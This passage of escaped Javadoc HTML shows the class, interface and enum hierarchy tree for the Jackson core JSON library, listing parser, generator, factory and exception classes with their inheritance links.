class=\"typeNameLink\">DupDetector</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.format.<a href=\"com/fasterxml/jackson/core/format/InputAccessor.Std.html\" title=\"class in com.fasterxml.jackson.core.format\"><span class=\"typeNameLink\">InputAccessor.Std</span></a> (implements com.fasterxml.jackson.core.format.<a href=\"com/fasterxml/jackson/core/format/InputAccessor.html\" title=\"interface in com.fasterxml.jackson.core.format\">InputAccessor</a>)</li>\n<li type=\"circle\">com.fasterxml.jackson.core.io.<a href=\"com/fasterxml/jackson/core/io/InputDecorator.html\" title=\"class in com.fasterxml.jackson.core.io\"><span class=\"typeNameLink\">InputDecorator</span></a> (implements java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true\" title=\"class or interface in java.io\">Serializable</a>)</li>\n<li type=\"circle\">java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/InputStream.html?is-external=true\" title=\"class or interface in java.io\"><span class=\"typeNameLink\">InputStream</span></a> (implements java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Closeable.html?is-external=true\" title=\"class or interface in java.io\">Closeable</a>)\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.io.<a href=\"com/fasterxml/jackson/core/io/MergedStream.html\" title=\"class in com.fasterxml.jackson.core.io\"><span class=\"typeNameLink\">MergedStream</span></a></li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.io.<a href=\"com/fasterxml/jackson/core/io/IOContext.html\" title=\"class in com.fasterxml.jackson.core.io\"><span class=\"typeNameLink\">IOContext</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonGenerator.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonGenerator</span></a> (implements java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Closeable.html?is-external=true\" title=\"class or interface in java.io\">Closeable</a>, java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Flushable.html?is-external=true\" title=\"class or interface in java.io\">Flushable</a>, com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/Versioned.html\" title=\"interface in com.fasterxml.jackson.core\">Versioned</a>)\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.base.<a href=\"com/fasterxml/jackson/core/base/GeneratorBase.html\" title=\"class in com.fasterxml.jackson.core.base\"><span class=\"typeNameLink\">GeneratorBase</span></a>\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.json.<a href=\"com/fasterxml/jackson/core/json/JsonGeneratorImpl.html\" title=\"class in com.fasterxml.jackson.core.json\"><span class=\"typeNameLink\">JsonGeneratorImpl</span></a>\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.json.<a href=\"com/fasterxml/jackson/core/json/UTF8JsonGenerator.html\" title=\"class in com.fasterxml.jackson.core.json\"><span class=\"typeNameLink\">UTF8JsonGenerator</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.json.<a href=\"com/fasterxml/jackson/core/json/WriterBasedJsonGenerator.html\" title=\"class in com.fasterxml.jackson.core.json\"><span class=\"typeNameLink\">WriterBasedJsonGenerator</span></a></li>\n</ul>\n</li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/JsonGeneratorDelegate.html\" title=\"class in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">JsonGeneratorDelegate</span></a>\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.filter.<a href=\"com/fasterxml/jackson/core/filter/FilteringGeneratorDelegate.html\" title=\"class in com.fasterxml.jackson.core.filter\"><span class=\"typeNameLink\">FilteringGeneratorDelegate</span></a></li>\n</ul>\n</li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonLocation.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonLocation</span></a> (implements java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true\" title=\"class or interface in java.io\">Serializable</a>)</li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonParser.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonParser</span></a> (implements java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Closeable.html?is-external=true\" title=\"class or interface in java.io\">Closeable</a>, com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/Versioned.html\" title=\"interface in com.fasterxml.jackson.core\">Versioned</a>)\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/JsonParserDelegate.html\" title=\"class in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">JsonParserDelegate</span></a>\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.filter.<a href=\"com/fasterxml/jackson/core/filter/FilteringParserDelegate.html\" title=\"class in com.fasterxml.jackson.core.filter\"><span class=\"typeNameLink\">FilteringParserDelegate</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/JsonParserSequence.html\" title=\"class in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">JsonParserSequence</span></a></li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.base.<a href=\"com/fasterxml/jackson/core/base/ParserMinimalBase.html\" title=\"class in com.fasterxml.jackson.core.base\"><span class=\"typeNameLink\">ParserMinimalBase</span></a>\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.base.<a href=\"com/fasterxml/jackson/core/base/ParserBase.html\" title=\"class in com.fasterxml.jackson.core.base\"><span class=\"typeNameLink\">ParserBase</span></a>\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.json.async.<a href=\"com/fasterxml/jackson/core/json/async/NonBlockingJsonParserBase.html\" title=\"class in com.fasterxml.jackson.core.json.async\"><span class=\"typeNameLink\">NonBlockingJsonParserBase</span></a>\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.json.async.<a href=\"com/fasterxml/jackson/core/json/async/NonBlockingJsonParser.html\" title=\"class in com.fasterxml.jackson.core.json.async\"><span class=\"typeNameLink\">NonBlockingJsonParser</span></a> (implements com.fasterxml.jackson.core.async.<a href=\"com/fasterxml/jackson/core/async/ByteArrayFeeder.html\" title=\"interface in com.fasterxml.jackson.core.async\">ByteArrayFeeder</a>)</li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.json.<a href=\"com/fasterxml/jackson/core/json/ReaderBasedJsonParser.html\" title=\"class in com.fasterxml.jackson.core.json\"><span class=\"typeNameLink\">ReaderBasedJsonParser</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.json.<a href=\"com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.html\" title=\"class in com.fasterxml.jackson.core.json\"><span class=\"typeNameLink\">UTF8DataInputJsonParser</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.json.<a href=\"com/fasterxml/jackson/core/json/UTF8StreamJsonParser.html\" title=\"class in com.fasterxml.jackson.core.json\"><span class=\"typeNameLink\">UTF8StreamJsonParser</span></a></li>\n</ul>\n</li>\n</ul>\n</li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonPointer.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonPointer</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonStreamContext.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonStreamContext</span></a>\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.json.<a href=\"com/fasterxml/jackson/core/json/JsonReadContext.html\" title=\"class in com.fasterxml.jackson.core.json\"><span class=\"typeNameLink\">JsonReadContext</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.json.<a href=\"com/fasterxml/jackson/core/json/JsonWriteContext.html\" title=\"class in com.fasterxml.jackson.core.json\"><span class=\"typeNameLink\">JsonWriteContext</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.filter.<a href=\"com/fasterxml/jackson/core/filter/TokenFilterContext.html\" title=\"class in com.fasterxml.jackson.core.filter\"><span class=\"typeNameLink\">TokenFilterContext</span></a></li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.io.<a href=\"com/fasterxml/jackson/core/io/JsonStringEncoder.html\" title=\"class in com.fasterxml.jackson.core.io\"><span class=\"typeNameLink\">JsonStringEncoder</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/MinimalPrettyPrinter.html\" title=\"class in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">MinimalPrettyPrinter</span></a> (implements com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/PrettyPrinter.html\" title=\"interface in com.fasterxml.jackson.core\">PrettyPrinter</a>, java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true\" title=\"class or interface in java.io\">Serializable</a>)</li>\n<li type=\"circle\">com.fasterxml.jackson.core.sym.<a href=\"com/fasterxml/jackson/core/sym/Name.html\" title=\"class in com.fasterxml.jackson.core.sym\"><span class=\"typeNameLink\">Name</span></a>\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.sym.<a href=\"com/fasterxml/jackson/core/sym/Name1.html\" title=\"class in com.fasterxml.jackson.core.sym\"><span class=\"typeNameLink\">Name1</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.sym.<a href=\"com/fasterxml/jackson/core/sym/Name2.html\" title=\"class in com.fasterxml.jackson.core.sym\"><span class=\"typeNameLink\">Name2</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.sym.<a href=\"com/fasterxml/jackson/core/sym/Name3.html\" title=\"class in com.fasterxml.jackson.core.sym\"><span class=\"typeNameLink\">Name3</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.sym.<a href=\"com/fasterxml/jackson/core/sym/NameN.html\" title=\"class in com.fasterxml.jackson.core.sym\"><span class=\"typeNameLink\">NameN</span></a></li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.io.<a href=\"com/fasterxml/jackson/core/io/NumberInput.html\" title=\"class in com.fasterxml.jackson.core.io\"><span class=\"typeNameLink\">NumberInput</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.io.<a href=\"com/fasterxml/jackson/core/io/NumberOutput.html\" title=\"class in com.fasterxml.jackson.core.io\"><span class=\"typeNameLink\">NumberOutput</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.io.<a href=\"com/fasterxml/jackson/core/io/OutputDecorator.html\" title=\"class in com.fasterxml.jackson.core.io\"><span class=\"typeNameLink\">OutputDecorator</span></a> (implements java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true\" title=\"class or interface in java.io\">Serializable</a>)</li>\n<li type=\"circle\">java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/OutputStream.html?is-external=true\" title=\"class or interface in java.io\"><span class=\"typeNameLink\">OutputStream</span></a> (implements java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Closeable.html?is-external=true\" title=\"class or interface in java.io\">Closeable</a>, java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Flushable.html?is-external=true\" title=\"class or interface in java.io\">Flushable</a>)\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/ByteArrayBuilder.html\" title=\"class in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">ByteArrayBuilder</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.io.<a href=\"com/fasterxml/jackson/core/io/DataOutputAsStream.html\" title=\"class in com.fasterxml.jackson.core.io\"><span class=\"typeNameLink\">DataOutputAsStream</span></a></li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.json.<a href=\"com/fasterxml/jackson/core/json/PackageVersion.html\" title=\"class in com.fasterxml.jackson.core.json\"><span class=\"typeNameLink\">PackageVersion</span></a> (implements com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/Versioned.html\" title=\"interface in com.fasterxml.jackson.core\">Versioned</a>)</li>\n<li type=\"circle\">java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Reader.html?is-external=true\" title=\"class or interface in java.io\"><span class=\"typeNameLink\">Reader</span></a> (implements java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Closeable.html?is-external=true\" title=\"class or interface in java.io\">Closeable</a>, java.lang.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/lang/Readable.html?is-external=true\" title=\"class or interface in java.lang\">Readable</a>)\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.io.<a href=\"com/fasterxml/jackson/core/io/UTF32Reader.html\" title=\"class in com.fasterxml.jackson.core.io\"><span class=\"typeNameLink\">UTF32Reader</span></a></li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/RequestPayload.html\" title=\"class in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">RequestPayload</span></a> (implements java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true\" title=\"class or interface in java.io\">Serializable</a>)</li>\n<li type=\"circle\">com.fasterxml.jackson.core.type.<a href=\"com/fasterxml/jackson/core/type/ResolvedType.html\" title=\"class in com.fasterxml.jackson.core.type\"><span class=\"typeNameLink\">ResolvedType</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/Separators.html\" title=\"class in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">Separators</span></a> (implements java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true\" title=\"class or interface in java.io\">Serializable</a>)</li>\n<li type=\"circle\">com.fasterxml.jackson.core.io.<a href=\"com/fasterxml/jackson/core/io/SerializedString.html\" title=\"class in com.fasterxml.jackson.core.io\"><span class=\"typeNameLink\">SerializedString</span></a> (implements java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true\" title=\"class or interface in java.io\">Serializable</a>, com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/SerializableString.html\" title=\"interface in com.fasterxml.jackson.core\">SerializableString</a>)</li>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/TextBuffer.html\" title=\"class in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">TextBuffer</span></a></li>\n<li type=\"circle\">java.lang.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/lang/Throwable.html?is-external=true\" title=\"class or interface in java.lang\"><span class=\"typeNameLink\">Throwable</span></a> (implements java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true\" title=\"class or interface in java.io\">Serializable</a>)\n<ul>\n<li type=\"circle\">java.lang.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/lang/Exception.html?is-external=true\" title=\"class or interface in java.lang\"><span class=\"typeNameLink\">Exception</span></a>\n<ul>\n<li type=\"circle\">java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/IOException.html?is-external=true\" title=\"class or interface in java.io\"><span class=\"typeNameLink\">IOException</span></a>\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonProcessingException.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonProcessingException</span></a>\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonGenerationException.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonGenerationException</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.exc.<a href=\"com/fasterxml/jackson/core/exc/StreamReadException.html\" title=\"class in com.fasterxml.jackson.core.exc\"><span class=\"typeNameLink\">StreamReadException</span></a>\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.exc.<a href=\"com/fasterxml/jackson/core/exc/InputCoercionException.html\" title=\"class in com.fasterxml.jackson.core.exc\"><span class=\"typeNameLink\">InputCoercionException</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonParseException.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonParseException</span></a>\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.io.<a href=\"com/fasterxml/jackson/core/io/JsonEOFException.html\" title=\"class in com.fasterxml.jackson.core.io\"><span class=\"typeNameLink\">JsonEOFException</span></a></li>\n</ul>\n</li>\n</ul>\n</li>\n</ul>\n</li>\n</ul>\n</li>\n</ul>\n</li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.filter.<a href=\"com/fasterxml/jackson/core/filter/TokenFilter.html\" title=\"class in com.fasterxml.jackson.core.filter\"><span class=\"typeNameLink\">TokenFilter</span></a>\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.filter.<a href=\"com/fasterxml/jackson/core/filter/JsonPointerBasedFilter.html\" title=\"class in com.fasterxml.jackson.core.filter\"><span class=\"typeNameLink\">JsonPointerBasedFilter</span></a></li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/TokenStreamFactory.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">TokenStreamFactory</span></a> (implements java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true\" title=\"class or interface in java.io\">Serializable</a>, com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/Versioned.html\" title=\"interface in com.fasterxml.jackson.core\">Versioned</a>)\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonFactory.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonFactory</span></a> (implements java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true\" title=\"class or interface in java.io\">Serializable</a>, com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/Versioned.html\" title=\"interface in com.fasterxml.jackson.core\">Versioned</a>)</li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/TreeCodec.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">TreeCodec</span></a>\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/ObjectCodec.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">ObjectCodec</span></a> (implements com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/Versioned.html\" title=\"interface in com.fasterxml.jackson.core\">Versioned</a>)</li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/TSFBuilder.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">TSFBuilder</span></a>&lt;F,B&gt;\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonFactoryBuilder.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonFactoryBuilder</span></a></li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.type.<a href=\"com/fasterxml/jackson/core/type/TypeReference.html\" title=\"class in com.fasterxml.jackson.core.type\"><span class=\"typeNameLink\">TypeReference</span></a>&lt;T&gt; (implements java.lang.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/lang/Comparable.html?is-external=true\" title=\"class or interface in java.lang\">Comparable</a>&lt;T&gt;)</li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/Version.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">Version</span></a> (implements java.lang.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/lang/Comparable.html?is-external=true\" title=\"class or interface in java.lang\">Comparable</a>&lt;T&gt;, java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true\" title=\"class or interface in java.io\">Serializable</a>)</li>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/VersionUtil.html\" title=\"class in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">VersionUtil</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.type.<a href=\"com/fasterxml/jackson/core/type/WritableTypeId.html\" title=\"class in com.fasterxml.jackson.core.type\"><span class=\"typeNameLink\">WritableTypeId</span></a></li>\n<li type=\"circle\">java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Writer.html?is-external=true\" title=\"class or interface in java.io\"><span class=\"typeNameLink\">Writer</span></a> (implements java.lang.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/lang/Appendable.html?is-external=true\" title=\"class or interface in java.lang\">Appendable</a>, java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Closeable.html?is-external=true\" title=\"class or interface in java.io\">Closeable</a>, java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Flushable.html?is-external=true\" title=\"class or interface in java.io\">Flushable</a>)\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.io.<a href=\"com/fasterxml/jackson/core/io/SegmentedStringWriter.html\" title=\"class in com.fasterxml.jackson.core.io\"><span class=\"typeNameLink\">SegmentedStringWriter</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.io.<a href=\"com/fasterxml/jackson/core/io/UTF8Writer.html\" title=\"class in com.fasterxml.jackson.core.io\"><span class=\"typeNameLink\">UTF8Writer</span></a></li>\n</ul>\n</li>\n</ul>\n</li>\n</ul>\n<h2 title=\"Interface Hierarchy\">Interface Hierarchy</h2>\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/DefaultPrettyPrinter.Indenter.html\" title=\"interface in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">DefaultPrettyPrinter.Indenter</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/FormatFeature.html\" title=\"interface in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">FormatFeature</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/FormatSchema.html\" title=\"interface in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">FormatSchema</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.format.<a href=\"com/fasterxml/jackson/core/format/InputAccessor.html\" title=\"interface in com.fasterxml.jackson.core.format\"><span class=\"typeNameLink\">InputAccessor</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/Instantiatable.html\" title=\"interface in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">Instantiatable</span></a>&lt;T&gt;</li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonTokenId.html\" title=\"interface in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonTokenId</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.async.<a href=\"com/fasterxml/jackson/core/async/NonBlockingInputFeeder.html\" title=\"interface in com.fasterxml.jackson.core.async\"><span class=\"typeNameLink\">NonBlockingInputFeeder</span></a>\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.async.<a href=\"com/fasterxml/jackson/core/async/ByteArrayFeeder.html\" title=\"interface in com.fasterxml.jackson.core.async\"><span class=\"typeNameLink\">ByteArrayFeeder</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.async.<a href=\"com/fasterxml/jackson/core/async/ByteBufferFeeder.html\" title=\"interface in com.fasterxml.jackson.core.async\"><span class=\"typeNameLink\">ByteBufferFeeder</span></a></li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/PrettyPrinter.html\" title=\"interface in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">PrettyPrinter</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/SerializableString.html\" title=\"interface in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">SerializableString</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/TreeNode.html\" title=\"interface in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">TreeNode</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/Versioned.html\" title=\"interface in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">Versioned</span></a></li>\n</ul>\n<h2 title=\"Enum Hierarchy\">Enum Hierarchy</h2>\n<ul>\n<li type=\"circle\">java.lang.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/lang/Object.html?is-external=true\" title=\"class or interface in java.lang\"><span class=\"typeNameLink\">Object</span></a>\n<ul>\n<li type=\"circle\">java.lang.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/lang/Enum.html?is-external=true\" title=\"class or interface in java.lang\"><span class=\"typeNameLink\">Enum</span></a>&lt;E&gt; (implements java.lang.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/lang/Comparable.html?is-external=true\" title=\"class or interface in java.lang\">Comparable</a>&lt;T&gt;, java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true\" title=\"class or interface in java.io\">Serializable</a>)\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/StreamWriteFeature.html\" title=\"enum in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">StreamWriteFeature</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/StreamReadFeature.html\" title=\"enum in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">StreamReadFeature</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonToken.html\" title=\"enum in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonToken</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonParser.NumberType.html\" title=\"enum in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonParser.NumberType</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonParser.Feature.html\" title=\"enum in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonParser.Feature</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonGenerator.Feature.html\" title=\"enum in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonGenerator.Feature</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonFactory.Feature.html\" title=\"enum in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonFactory.Feature</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonEncoding.html\" title=\"enum in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonEncoding</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.format.<a href=\"com/fasterxml/jackson/core/format/MatchStrength.html\" title=\"enum in com.fasterxml.jackson.core.format\"><span class=\"typeNameLink\">MatchStrength</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.json.<a href=\"com/fasterxml/jackson/core/json/JsonWriteFeature.html\" title=\"enum in com.fasterxml.jackson.core.json\"><span class=\"typeNameLink\">JsonWriteFeature</span></a> (implements com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/FormatFeature.html\" title=\"interface in com.fasterxml.jackson.core\">FormatFeature</a>)</li>\n<li type=\"circle\">com.fasterxml.jackson.core.json.<a href=\"com/fasterxml/jackson/core/json/JsonReadFeature.html\" title=\"enum in com.fasterxml.jackson.core.json\"><span class=\"typeNameLink\">JsonReadFeature</span></a> (implements com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/FormatFeature.html\" title=\"interface in com.fasterxml.jackson.core\">FormatFeature</a>)</li>\n<li type=\"circle\">com.fasterxml.jackson.core.type.<a href=\"com/fasterxml/jackson/core/type/WritableTypeId.Inclusion.html\" title=\"enum in com.fasterxml.jackson.core.type\"><span class=\"typeNameLink\">WritableTypeId.Inclusion</span></a></li>\n</ul>\n</li>\n</ul>\n</li>\n</ul>\n</div>\n<!-- ======= START OF BOTTOM NAVBAR ====== -->\n<div class=\"bottomNav\"><a name=\"navbar.bottom\">\n<!-- -->\n</a>\n<div class=\"skipNav\"><a href=\"#skip.navbar.bottom\" title=\"Skip navigation links\">Skip navigation links</a></div>\n<a name=\"navbar.bottom.firstrow\">\n<!-- -->\n</a>\n<ul class=\"navList\" title=\"Navigation\">\n<li><a href=\"overview-summary.html\">Overview</a></li>\n<li>Package</li>\n<li>Class</li>\n<li>Use</li>\n<li class=\"navBarCell1Rev\">Tree</li>\n<li><a 